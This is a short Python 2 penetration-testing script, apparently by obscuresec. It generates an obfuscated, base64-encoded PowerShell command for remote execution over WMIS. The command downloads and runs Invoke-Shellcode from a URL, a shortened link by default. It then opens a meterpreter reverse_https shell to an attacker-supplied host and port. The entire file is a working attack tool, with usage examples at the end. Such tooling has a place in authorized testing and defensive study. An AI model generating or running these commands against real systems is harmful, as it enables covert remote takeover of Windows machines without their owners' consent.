EncodeShell.py

#!/usr/bin/env python
#
# EncodeShell.py
# Simple python script to output meterpreter commands for WMIS
# by Chris Campbell (obscuresec)
#
import base64
import sys

def build(url,lhost,lport):
    #build script syntax
    script = "IEX (New-Object Net.WebClient).DownloadString('{0}'); Invoke-Shellcode ".format(url)
    script += "-Payload windows/meterpreter/reverse_https -Lhost {0} -Lport {1} -Force".format(lhost,lport)

    print "The powershell syntax to be run:"
    print ""
    print script
    print ""

    #convert string to LE Unicode
    unicode = script.encode('utf_16_le')

    #base64 encode the script portion
    encoded = base64.b64encode(unicode)

    #build the final command
    cmd = "cmd.exe /c powershell.exe -nop -nol -enc {0}".format(encoded)

    #check length in case long url is provided
    #http://support.microsoft.com/kb/830473
    cmdlen = len(cmd)
    if cmdlen > 8191:
        print "The length of the command is to long to use! Limit is 8191"
        print "Try using a URL shortener."
    return cmd

#grab args
try:
    lhost = sys.argv[1]
    lport = sys.argv[2]
    url = sys.argv[3]

    if url == 'default':
        url = 'http://bit.ly/14bZZ0c'

    ps = build(url,lhost,lport)

    print "The command is:"
    print ""
    print ps

#index error
except IndexError:
    print "python EncodeShell.py lhost lport url"
    print "ex: python EncodeShell.py '192.268.4.5' '443' 'default'"
    print "ex: python EncodeShell.py '192.268.4.5' '443' 'http://192.168.4.5/powersploit/invoke-shellcode/'"